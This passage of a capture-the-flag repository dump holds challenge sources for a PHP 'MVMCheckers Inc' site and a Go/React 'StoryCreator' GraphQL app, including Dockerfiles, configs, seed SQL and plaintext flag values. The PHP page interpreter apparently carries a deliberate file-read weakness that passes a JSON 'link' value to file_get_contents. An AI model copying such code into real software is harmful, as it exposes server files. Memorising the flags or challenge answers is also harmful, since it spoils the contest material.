| 4 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-src/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-src/.idea/php.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-src/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-src/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:8.3-apache-bookworm 2 | 3 | WORKDIR /var/www/html 4 | 5 | COPY flag.txt /flag.txt 6 | 7 | COPY src/ . 8 | 9 | RUN useradd --user-group --system --create-home --no-log-init app 10 | 11 | RUN chown app magicians 12 | 13 | USER app 14 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-src/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.4" 2 | 3 | services: 4 | magicians: 5 | build: "." 6 | ports: 7 | - "80:80" -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-src/flag.txt: -------------------------------------------------------------------------------- 1 | MVM{c7f5_4r3_4_m461c_pl4c3_4r3n7_7h3y} 2 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-src/magicians-agency.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-src/src/booking.php: -------------------------------------------------------------------------------- 1 | 4 | 5 |

Booking

6 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-src/src/index.php: -------------------------------------------------------------------------------- 1 | 4 | 5 |

Bringing magic to you since 1970

6 | 7 |

Refer to the various sub-pages for information and configuration.

8 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-src/src/magicians.php: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 |

Choose from our superb variety of magicians

7 | 8 |
9 | 19 |

$name

20 | 21 |
"; 22 | } 23 | ?> 24 | 25 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-src/src/magicians/Die kleine Hexe.magic: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/web/MVMCheckers-Inc/challenge-src/src/magicians/Die kleine Hexe.magic -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-src/src/magicians/Gandalf.magic: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/web/MVMCheckers-Inc/challenge-src/src/magicians/Gandalf.magic -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-src/src/magicians/Houdini.magic: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/web/MVMCheckers-Inc/challenge-src/src/magicians/Houdini.magic -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-src/src/magicians/Kiki.magic: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/web/MVMCheckers-Inc/challenge-src/src/magicians/Kiki.magic -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-src/src/magicians/Siegfried and Roy.magic: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/web/MVMCheckers-Inc/challenge-src/src/magicians/Siegfried and Roy.magic -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-src/src/rebuild/about.json: -------------------------------------------------------------------------------- 1 | { 2 | "sections": [ 3 | {"type": "text", "tag": "h1", "value": "The leading experts in spell-full entertainment"}, 4 | {"type": "text", "tag": "p", "value": "We at SpellCheckers Inc. are the foremost experts at creating magical days for our clients."}, 5 | {"type": "link", "tag": "i", "value": "./footnote.txt"} 6 | ] 7 | } 8 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-src/src/rebuild/booking.json: -------------------------------------------------------------------------------- 1 | { 2 | "sections": [ 3 | {"type": "text", "tag": "h1", "value": "Book your favorite magicians here"}, 4 | {"type": "text", "tag": "p", "value": "This part of our system is currently under maintenance and not functional. We hope to bring you a improved experience as soon as possible. New Features will include the ability to easily create new web pages without programming knowledgNew Features will include the ability to easily create new web pages without programming knowledge."}, 5 | {"type": "link", "tag": "i", "value": "./footnote.txt"} 6 | ] 7 | } -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-src/src/rebuild/footnote.txt: -------------------------------------------------------------------------------- 1 | We do not take any responsibility for damaged property, unless it's magically fixed with a Ctrl+Z. -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-src/src/rebuild/index.php: -------------------------------------------------------------------------------- 1 | Invalid page name ):

"; 8 | exit(); 9 | } 10 | 11 | $pageString = file_get_contents("./$pageName"); 12 | $sanitized = str_replace("\\", "", $pageString); 13 | $pageObject = json_decode($sanitized, flags: JSON_INVALID_UTF8_IGNORE); 14 | 15 | if ($pageObject == null) { 16 | echo "

This page does not exist ):

"; 17 | exit(); 18 | } 19 | 20 | function interpret($section) { 21 | $content = null; 22 | 23 | switch ($section->type) { 24 | case "text": 25 | $content = $section->value; 26 | break; 27 | case "link": 28 | $content = file_get_contents($section->value); 29 | break; 30 | } 31 | 32 | return "<$section->tag>$contenttag>"; 33 | } 34 | 35 | echo "
"; 36 | 37 | foreach ($pageObject->sections as $section) { 38 | echo interpret($section); 39 | } 40 | 41 | echo "
"; 42 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-src/src/style.css: -------------------------------------------------------------------------------- 1 | .magician-image { 2 | width: 500px; 3 | height: 500px; 4 | object-fit: cover; 5 | } -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: berg.norelect.ch/v1 2 | kind: Challenge 3 | metadata: 4 | name: mvmcheckers-inc 5 | namespace: berg 6 | spec: 7 | categories: 8 | - mvm 9 | - web 10 | difficulty: hard 11 | author: joneswastaken 12 | flag: MVM{c7f5_4r3_4_m461c_pl4c3_4r3n7_7h3y} 13 | flagFormat: MVM{...} 14 | description: | 15 | Welcome new employee! As you are aware, we at SpellCheckers MVMCheckers Inc. are the foremost experts at creating magical days for 16 | our clients. Please fell free to explore our administration application. Be aware that we are currently rebuilding the 17 | system using our proprietary, cutting edge interpreter. 18 | containers: 19 | - hostname: mvmcheckers-inc 20 | image: gcr.io/mvm-x3ctf/x3ctf/challenge/mvmcheckers-inc:latest 21 | resourceLimits: 22 | cpu: "0.2" 23 | memory: "100Mi" 24 | ports: 25 | - port: 80 26 | protocol: tcp # Must be either tcp/udp 27 | appProtocol: http # Signal to the frontend how to connect. For web services, use http. If unsure, use tcp. 28 | type: publicTlsRoute 29 | attachments: 30 | - fileName: MVMCheckers-Inc.tar.gz 31 | downloadUrl: /handouts/MVMCheckers-Inc.tar.gz 32 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-handout/handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.22 AS bebuilder 2 | WORKDIR /source 3 | COPY backend/go.mod backend/go.sum /source/ 4 | RUN go mod download 5 | COPY backend/ . 6 | RUN uname -a && go build -o server ./cmd/server 7 | 8 | FROM node:22 AS febuilder 9 | WORKDIR /app 10 | COPY frontend/package.json frontend/yarn.lock frontend/.yarnrc.yml /app/ 11 | COPY frontend/.yarn /app/.yarn 12 | RUN yarn install --immutable 13 | COPY frontend/ . 14 | RUN yarn build 15 | 16 | # FROM gcr.io/distroless/cc AS final 17 | FROM debian:latest AS final 18 | RUN apt-get -y update && apt-get -y install chromium && rm -rf /var/lib/apt/lists/* 19 | COPY --from=bebuilder /source/server /server 20 | COPY --from=febuilder /app/dist /frontend 21 | ENV FRONTEND_DIST /frontend/ 22 | # USER nonroot 23 | CMD ["/server"] 24 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-handout/handout/backend/.gitignore: -------------------------------------------------------------------------------- 1 | target 2 | foo.db 3 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-handout/handout/backend/justfile: -------------------------------------------------------------------------------- 1 | 2 | tidy: 3 | go mod tidy 4 | 5 | gen: 6 | go generate ./... 7 | 8 | run: gen tidy 9 | FRONTEND_URL=http://localhost:8080 \ 10 | FLAG=CTE24{foo} \ 11 | DATABASE_URL=postgres://postgres:postgres@localhost:5432/cwte2024 \ 12 | FRONTEND_DIST=../frontend/dist \ 13 | go run ./cmd/server 14 | 15 | test: tidy 16 | go test ./pkg/... 17 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-handout/handout/backend/pkg/apq/cache.go: -------------------------------------------------------------------------------- 1 | package apq 2 | 3 | import ( 4 | "context" 5 | 6 | "github.com/99designs/gqlgen/graphql" 7 | "github.com/boxmein/cwte2024-chall/pkg/smallhmap" 8 | "github.com/boxmein/cwte2024-chall/pkg/tenant" 9 | ) 10 | 11 | type APQCache struct { 12 | queries smallhmap.SmallHmap 13 | } 14 | 15 | // Add implements graphql.Cache. 16 | func (a *APQCache) Add(ctx context.Context, key string, value any) { 17 | t := tenant.GetTenantID(ctx) 18 | key = t + key 19 | a.queries.Add(ctx, key, value) 20 | } 21 | 22 | // Get implements graphql.Cache. 23 | func (a *APQCache) Get(ctx context.Context, key string) (value any, ok bool) { 24 | t := tenant.GetTenantID(ctx) 25 | key = t + key 26 | return a.queries.Get(ctx, key) 27 | } 28 | 29 | var _ graphql.Cache = (*APQCache)(nil) 30 | 31 | func NewAPQCache() graphql.Cache { 32 | return &APQCache{queries: smallhmap.New()} 33 | } 34 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-handout/handout/backend/pkg/db/db.go: -------------------------------------------------------------------------------- 1 | package db 2 | 3 | import ( 4 | "context" 5 | "database/sql" 6 | 7 | _ "github.com/jackc/pgx/v5/stdlib" 8 | 9 | _ "github.com/mattn/go-sqlite3" 10 | ) 11 | 12 | func GetSqlite() (*sql.DB, error) { 13 | return sql.Open("sqlite3", "foo.db") 14 | } 15 | 16 | func GetPostgres(ctx context.Context, url string) (*sql.DB, error) { 17 | return sql.Open("pgx", url) 18 | } 19 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-handout/handout/backend/pkg/flagcookie/flagcookie.go: -------------------------------------------------------------------------------- 1 | package flagcookie 2 | 3 | import "context" 4 | 5 | type flagcookieCtxKey struct{} 6 | 7 | var flagcookieCtxKeyInstance = &flagcookieCtxKey{} 8 | 9 | func SetFlagCookie(ctx context.Context, flagCookie string) context.Context { 10 | return context.WithValue(ctx, flagcookieCtxKeyInstance, flagCookie) 11 | } 12 | 13 | func GetFlagCookie(ctx context.Context) string { 14 | return ctx.Value(flagcookieCtxKeyInstance).(string) 15 | } 16 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-handout/handout/backend/pkg/graph/gqlgen-directives.graphql: -------------------------------------------------------------------------------- 1 | # https://gqlgen.com/config/ 2 | # Directives from gqlgen to configure code-gen inline in the schema. 3 | 4 | directive @goModel( 5 | model: String 6 | models: [String!] 7 | forceGenerate: Boolean 8 | ) on OBJECT | INPUT_OBJECT | SCALAR | ENUM | INTERFACE | UNION 9 | 10 | directive @goField( 11 | forceResolver: Boolean 12 | name: String 13 | omittable: Boolean 14 | ) on INPUT_FIELD_DEFINITION | FIELD_DEFINITION 15 | 16 | directive @goTag( 17 | key: String! 18 | value: String 19 | ) on INPUT_FIELD_DEFINITION | FIELD_DEFINITION 20 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-handout/handout/backend/pkg/graph/model/models_gen.go: -------------------------------------------------------------------------------- 1 | // Code generated by github.com/99designs/gqlgen, DO NOT EDIT. 2 | 3 | package model 4 | 5 | import ( 6 | "github.com/boxmein/cwte2024-chall/pkg/model" 7 | ) 8 | 9 | type Mutation struct { 10 | } 11 | 12 | type Query struct { 13 | } 14 | 15 | type StoryExportInput struct { 16 | StoryID int `json:"storyId"` 17 | Dimensions model.Dimensions `json:"dimensions"` 18 | } 19 | 20 | type StoryInput struct { 21 | Text string `json:"text"` 22 | Action string `json:"action"` 23 | Image int `json:"image"` 24 | } 25 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-handout/handout/backend/pkg/graph/resolver.go: -------------------------------------------------------------------------------- 1 | package graph 2 | 3 | import ( 4 | "github.com/boxmein/cwte2024-chall/pkg/repository/exports" 5 | "github.com/boxmein/cwte2024-chall/pkg/repository/images" 6 | "github.com/boxmein/cwte2024-chall/pkg/repository/stories" 7 | ) 8 | 9 | //go:generate go run github.com/99designs/gqlgen generate 10 | 11 | // This file will not be regenerated automatically. 12 | // 13 | // It serves as dependency injection for your app, add any dependencies you require here. 14 | 15 | type ResolverDB struct { 16 | Stories stories.StoriesRepository 17 | Images images.ImagesRepository 18 | Exports exports.ExportsRepository 19 | } 20 | 21 | type Resolver struct { 22 | DB ResolverDB 23 | } 24 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-handout/handout/backend/pkg/model/dimensions.go: -------------------------------------------------------------------------------- 1 | package model 2 | 3 | type Dimensions string 4 | 5 | const ( 6 | DimensionsFlipperZero Dimensions = "FLIPPER_ZERO" 7 | DimensionsSamsungGalaxyFold Dimensions = "SAMSUNG_GALAXY_FOLD" 8 | DimensionsIphone14 Dimensions = "IPHONE_14" 9 | DimensionsIphone14Max Dimensions = "IPHONE_14_MAX" 10 | DimensionsSquare400x400 Dimensions = "SQUARE_400X400" 11 | ) 12 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-handout/handout/backend/pkg/model/id.go: -------------------------------------------------------------------------------- 1 | package model 2 | 3 | import "fmt" 4 | 5 | // ID is a newtype that represents an ID. It is just a string 6 | type ID string 7 | 8 | func ConvertToID(integerId int64) ID { 9 | return ID(fmt.Sprintf("%d", integerId)) 10 | } 11 | 12 | // ID is a newtype that represents an ID. It is just a string 13 | type StoryID string 14 | 15 | func ConvertToStoryID(integerId int64) StoryID { 16 | return StoryID(fmt.Sprintf("%d", integerId)) 17 | } 18 | 19 | // ID is a newtype that represents an ID. It is just a string 20 | type ImageID string 21 | 22 | func ConvertToImageID(integerId int64) ImageID { 23 | return ImageID(fmt.Sprintf("%d", integerId)) 24 | } 25 | 26 | // ID is a newtype that represents an ID. It is just a string 27 | type ExportID string 28 | 29 | func ConvertToExportID(integerId int64) ExportID { 30 | return ExportID(fmt.Sprintf("%d", integerId)) 31 | } 32 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-handout/handout/backend/pkg/tenant/tenant.go: -------------------------------------------------------------------------------- 1 | package tenant 2 | 3 | import "context" 4 | 5 | type tenantCtxKey struct{} 6 | 7 | var tenantCtxKeyInstance = &tenantCtxKey{} 8 | 9 | func SetTenantID(ctx context.Context, tenantID string) context.Context { 10 | return context.WithValue(ctx, tenantCtxKeyInstance, tenantID) 11 | } 12 | 13 | func GetTenantID(ctx context.Context) string { 14 | return ctx.Value(tenantCtxKeyInstance).(string) 15 | } 16 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-handout/handout/backend/tools.go: -------------------------------------------------------------------------------- 1 | // go:build tools 2 | package tools 3 | 4 | import ( 5 | _ "github.com/99designs/gqlgen" 6 | ) 7 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-handout/handout/compose.yml: -------------------------------------------------------------------------------- 1 | 2 | services: 3 | beandfe: 4 | build: . 5 | image: ghcr.io/boxmein/cwte2024-challenge-backend:latest 6 | ports: 7 | - '8080:8080' 8 | environment: 9 | DATABASE_URL: postgres://postgres:postgres@db:5432/cwte2024 10 | FLAG: 'CTE24{flag}' 11 | GIN_MODE: release 12 | depends_on: 13 | db: 14 | condition: service_healthy 15 | 16 | db: 17 | image: postgres:16 18 | environment: 19 | POSTGRES_USER: postgres 20 | POSTGRES_PASSWORD: postgres 21 | POSTGRES_DB: cwte2024 22 | ports: 23 | - '5432:5432' 24 | volumes: 25 | - dbdata:/var/lib/postgresql/data 26 | - ./seed/:/docker-entrypoint-initdb.d/ 27 | healthcheck: 28 | test: ['CMD', 'pg_isready', '--username', 'postgres'] 29 | interval: 10s 30 | timeout: 5s 31 | retries: 10 32 | start_period: 120s 33 | volumes: 34 | dbdata: 35 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-handout/handout/frontend/.env: -------------------------------------------------------------------------------- 1 | VITE_API_URL=http://localhost:8080/api 2 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-handout/handout/frontend/.eslintrc.cjs: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | root: true, 3 | env: { browser: true, es2020: true }, 4 | extends: [ 5 | 'eslint:recommended', 6 | 'plugin:@typescript-eslint/recommended', 7 | 'plugin:react-hooks/recommended', 8 | ], 9 | ignorePatterns: ['dist', '.eslintrc.cjs'], 10 | parser: '@typescript-eslint/parser', 11 | plugins: ['react-refresh'], 12 | rules: { 13 | 'react-refresh/only-export-components': [ 14 | 'warn', 15 | { allowConstantExport: true }, 16 | ], 17 | }, 18 | } 19 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-handout/handout/frontend/.gitattributes: -------------------------------------------------------------------------------- 1 | * eol=lf text=auto 2 | 3 | *.cjs binary 4 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-handout/handout/frontend/.gitignore: -------------------------------------------------------------------------------- 1 | # Logs 2 | logs 3 | *.log 4 | npm-debug.log* 5 | yarn-debug.log* 6 | yarn-error.log* 7 | pnpm-debug.log* 8 | lerna-debug.log* 9 | 10 | node_modules 11 | dist 12 | dist-ssr 13 | *.local 14 | 15 | # Editor directories and files 16 | .vscode/* 17 | !.vscode/extensions.json 18 | .idea 19 | .DS_Store 20 | *.suo 21 | *.ntvs* 22 | *.njsproj 23 | *.sln 24 | *.sw? 25 | 26 | .yarn/install-state.gz 27 | .yarn/cache 28 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-handout/handout/frontend/.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "tabWidth": 2, 3 | "semi": true, 4 | "useTabs": false 5 | } 6 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-handout/handout/frontend/.yarnrc.yml: -------------------------------------------------------------------------------- 1 | nodeLinker: node-modules 2 | 3 | yarnPath: .yarn/releases/yarn-4.3.1.cjs 4 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-handout/handout/frontend/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:22 AS builder 2 | WORKDIR /app 3 | COPY package.json yarn.lock .yarnrc.yml /app/ 4 | COPY .yarn /app/.yarn 5 | RUN yarn install --immutable 6 | COPY . . 7 | RUN yarn build 8 | FROM nginx:alpine AS final 9 | COPY --from=builder /app/dist /usr/share/nginx/html 10 | COPY nginx.conf /etc/nginx/nginx.conf 11 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-handout/handout/frontend/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Story Builder 8 | 9 | 10 |
11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-handout/handout/frontend/src/components/FullPageLoading.tsx: -------------------------------------------------------------------------------- 1 | import styled from "@emotion/styled"; 2 | import { CircularProgress } from "@mui/material"; 3 | 4 | const Layout = styled.div` 5 | width: 500px; 6 | height: 400px; 7 | display: flex; 8 | flex-direction: column; 9 | justify-content: center; 10 | align-items: center; 11 | gap: 35px; 12 | `; 13 | 14 | export function FullPageLoading() { 15 | return ( 16 | 17 | 18 |

Loading...

19 |
20 | ); 21 | } 22 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-handout/handout/frontend/src/main.css: -------------------------------------------------------------------------------- 1 | html,body { 2 | width: 100%; 3 | height: 100%; 4 | margin: 0; 5 | padding: 0; 6 | } 7 | 8 | 9 | #root { 10 | min-height: 100vh; 11 | } 12 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-handout/handout/frontend/src/pages/ListStoriesPage/ListStoriesPage.tsx: -------------------------------------------------------------------------------- 1 | import { gql, useQuery } from "@apollo/client"; 2 | import { Alert } from "@mui/material"; 3 | import { NavLink } from "react-router-dom"; 4 | import { FullPageLoading } from "../../components/FullPageLoading"; 5 | 6 | export function ListStoriesPage() { 7 | const { loading, error, data } = useQuery(gql` 8 | query ListStories { 9 | stories { 10 | id 11 | text 12 | } 13 | } 14 | `); 15 | 16 | if (loading) { 17 | return ; 18 | } 19 | 20 | return ( 21 | <> 22 |

My Stories

23 | {error && Error: {error.message}} 24 | 31 | 32 | ); 33 | } 34 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-handout/handout/frontend/src/pages/ViewStoryPage/ViewStoryPage.tsx: -------------------------------------------------------------------------------- 1 | import { gql, useQuery } from "@apollo/client"; 2 | import { Alert } from "@mui/material"; 3 | import { useParams } from "react-router-dom"; 4 | import { FullPageLoading } from "../../components/FullPageLoading"; 5 | import { RenderStory } from "../../components/story"; 6 | 7 | export function ViewStoryPage() { 8 | const { id } = useParams(); 9 | const { data, loading, error } = useQuery( 10 | gql` 11 | query ViewStoryPage($id: Int!) { 12 | foo 13 | story(id: $id) { 14 | id 15 | text 16 | action 17 | image { 18 | url 19 | } 20 | } 21 | } 22 | `, 23 | { variables: { id } }, 24 | ); 25 | 26 | if (loading) { 27 | return ; 28 | } 29 | 30 | return ( 31 | <> 32 |

View Story

33 | {error && Error: {error.message}} 34 | {data && } 35 | 36 | ); 37 | } 38 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-handout/handout/frontend/src/vite-env.d.ts: -------------------------------------------------------------------------------- 1 | /// 2 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-handout/handout/frontend/tsconfig.app.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "composite": true, 4 | "tsBuildInfoFile": "./node_modules/.tmp/tsconfig.app.tsbuildinfo", 5 | "target": "ES2020", 6 | "useDefineForClassFields": true, 7 | "lib": ["ES2020", "DOM", "DOM.Iterable"], 8 | "module": "ESNext", 9 | "skipLibCheck": true, 10 | 11 | /* Bundler mode */ 12 | "moduleResolution": "bundler", 13 | "allowImportingTsExtensions": true, 14 | "resolveJsonModule": true, 15 | "isolatedModules": true, 16 | "moduleDetection": "force", 17 | "noEmit": true, 18 | "jsx": "react-jsx", 19 | 20 | /* Linting */ 21 | "strict": true, 22 | "noUnusedLocals": true, 23 | "noUnusedParameters": true, 24 | "noFallthroughCasesInSwitch": true 25 | }, 26 | "include": ["src"] 27 | } 28 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-handout/handout/frontend/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "files": [], 3 | "references": [ 4 | { 5 | "path": "./tsconfig.app.json" 6 | }, 7 | { 8 | "path": "./tsconfig.node.json" 9 | } 10 | ] 11 | } 12 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-handout/handout/frontend/tsconfig.node.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "composite": true, 4 | "tsBuildInfoFile": "./node_modules/.tmp/tsconfig.node.tsbuildinfo", 5 | "skipLibCheck": true, 6 | "module": "ESNext", 7 | "moduleResolution": "bundler", 8 | "allowSyntheticDefaultImports": true, 9 | "strict": true, 10 | "noEmit": true 11 | }, 12 | "include": ["vite.config.ts"] 13 | } 14 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-handout/handout/frontend/vite.config.ts: -------------------------------------------------------------------------------- 1 | import { defineConfig } from 'vite' 2 | import react from '@vitejs/plugin-react-swc' 3 | 4 | // https://vitejs.dev/config/ 5 | export default defineConfig({ 6 | plugins: [react()], 7 | }) 8 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-handout/handout/seed/seed.sql: -------------------------------------------------------------------------------- 1 | -- Runs on DB init 2 | DROP TABLE IF EXISTS images; 3 | DROP TABLE IF EXISTS stories; 4 | DROP TABLE IF EXISTS exports; 5 | 6 | CREATE TABLE images ( 7 | id INTEGER GENERATED ALWAYS AS IDENTITY PRIMARY KEY, 8 | tenant_id VARCHAR(36) NOT NULL, 9 | "image" BYTEA NOT NULL 10 | ); 11 | 12 | CREATE TABLE stories ( 13 | id INTEGER GENERATED ALWAYS AS IDENTITY PRIMARY KEY, 14 | tenant_id VARCHAR(36) NOT NULL, 15 | "text" TEXT NOT NULL CHECK (length("text") > 0 AND length("text") < 100), 16 | "action" TEXT NOT NULL CHECK (length("action") > 0 AND length("action") < 50), 17 | "image_id" INTEGER NOT NULL REFERENCES images(id) 18 | ); 19 | 20 | CREATE TABLE exports ( 21 | id INTEGER GENERATED ALWAYS AS IDENTITY PRIMARY KEY, 22 | tenant_id VARCHAR(36) NOT NULL, 23 | story_id INTEGER NOT NULL REFERENCES stories(id), 24 | dimensions TEXT NOT NULL, 25 | progress TEXT NOT NULL, 26 | ready boolean NOT NULL DEFAULT FALSE, 27 | image BYTEA NULL 28 | ); 29 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-solution/checker/._image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/web/StoryCreator/challenge-solution/checker/._image.png -------------------------------------------------------------------------------- /web/StoryCreator/challenge-solution/checker/._imageold.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/web/StoryCreator/challenge-solution/checker/._imageold.png -------------------------------------------------------------------------------- /web/StoryCreator/challenge-solution/checker/image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/web/StoryCreator/challenge-solution/checker/image.png -------------------------------------------------------------------------------- /web/StoryCreator/challenge-solution/checker/imageold.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/web/StoryCreator/challenge-solution/checker/imageold.png -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/._cwte-jeopardy-chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/web/StoryCreator/challenge-src/._cwte-jeopardy-chall -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.22 AS bebuilder 2 | WORKDIR /source 3 | COPY backend/go.mod backend/go.sum /source/ 4 | RUN go mod download 5 | COPY backend/ . 6 | RUN uname -a && go build -o server ./cmd/server 7 | 8 | FROM node:22 AS febuilder 9 | WORKDIR /app 10 | COPY frontend/package.json frontend/yarn.lock frontend/.yarnrc.yml /app/ 11 | COPY frontend/.yarn /app/.yarn 12 | RUN yarn install --immutable 13 | COPY frontend/ . 14 | RUN yarn build 15 | 16 | # FROM gcr.io/distroless/cc AS final 17 | FROM debian:latest AS final 18 | RUN apt-get -y update && apt-get -y install chromium && rm -rf /var/lib/apt/lists/* 19 | COPY --from=bebuilder /source/server /server 20 | COPY --from=febuilder /app/dist /frontend 21 | ENV FRONTEND_DIST /frontend/ 22 | # USER nonroot 23 | CMD ["/server"] 24 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/Dockerfile-db: -------------------------------------------------------------------------------- 1 | FROM postgres:16 2 | ADD ./seed/seed.sql /docker-entrypoint-initdb.d/ 3 | RUN chmod -R a+rwx /var/lib/postgresql/data/ 4 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/backend/.gitignore: -------------------------------------------------------------------------------- 1 | target 2 | foo.db 3 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/backend/justfile: -------------------------------------------------------------------------------- 1 | 2 | tidy: 3 | go mod tidy 4 | 5 | gen: 6 | go generate ./... 7 | 8 | run: gen tidy 9 | FRONTEND_URL=http://localhost:8080 \ 10 | FLAG=CTE24{foo} \ 11 | DATABASE_URL=postgres://postgres:postgres@localhost:5432/cwte2024 \ 12 | FRONTEND_DIST=../frontend/dist \ 13 | go run ./cmd/server 14 | 15 | test: tidy 16 | go test ./pkg/... 17 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/backend/pkg/apq/cache.go: -------------------------------------------------------------------------------- 1 | package apq 2 | 3 | import ( 4 | "context" 5 | 6 | "github.com/99designs/gqlgen/graphql" 7 | "github.com/boxmein/cwte2024-chall/pkg/smallhmap" 8 | "github.com/boxmein/cwte2024-chall/pkg/tenant" 9 | ) 10 | 11 | type APQCache struct { 12 | queries smallhmap.SmallHmap 13 | } 14 | 15 | // Add implements graphql.Cache. 16 | func (a *APQCache) Add(ctx context.Context, key string, value any) { 17 | t := tenant.GetTenantID(ctx) 18 | key = t + key 19 | a.queries.Add(ctx, key, value) 20 | } 21 | 22 | // Get implements graphql.Cache. 23 | func (a *APQCache) Get(ctx context.Context, key string) (value any, ok bool) { 24 | t := tenant.GetTenantID(ctx) 25 | key = t + key 26 | return a.queries.Get(ctx, key) 27 | } 28 | 29 | var _ graphql.Cache = (*APQCache)(nil) 30 | 31 | func NewAPQCache() graphql.Cache { 32 | return &APQCache{queries: smallhmap.New()} 33 | } 34 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/backend/pkg/db/db.go: -------------------------------------------------------------------------------- 1 | package db 2 | 3 | import ( 4 | "context" 5 | "database/sql" 6 | 7 | _ "github.com/jackc/pgx/v5/stdlib" 8 | 9 | _ "github.com/mattn/go-sqlite3" 10 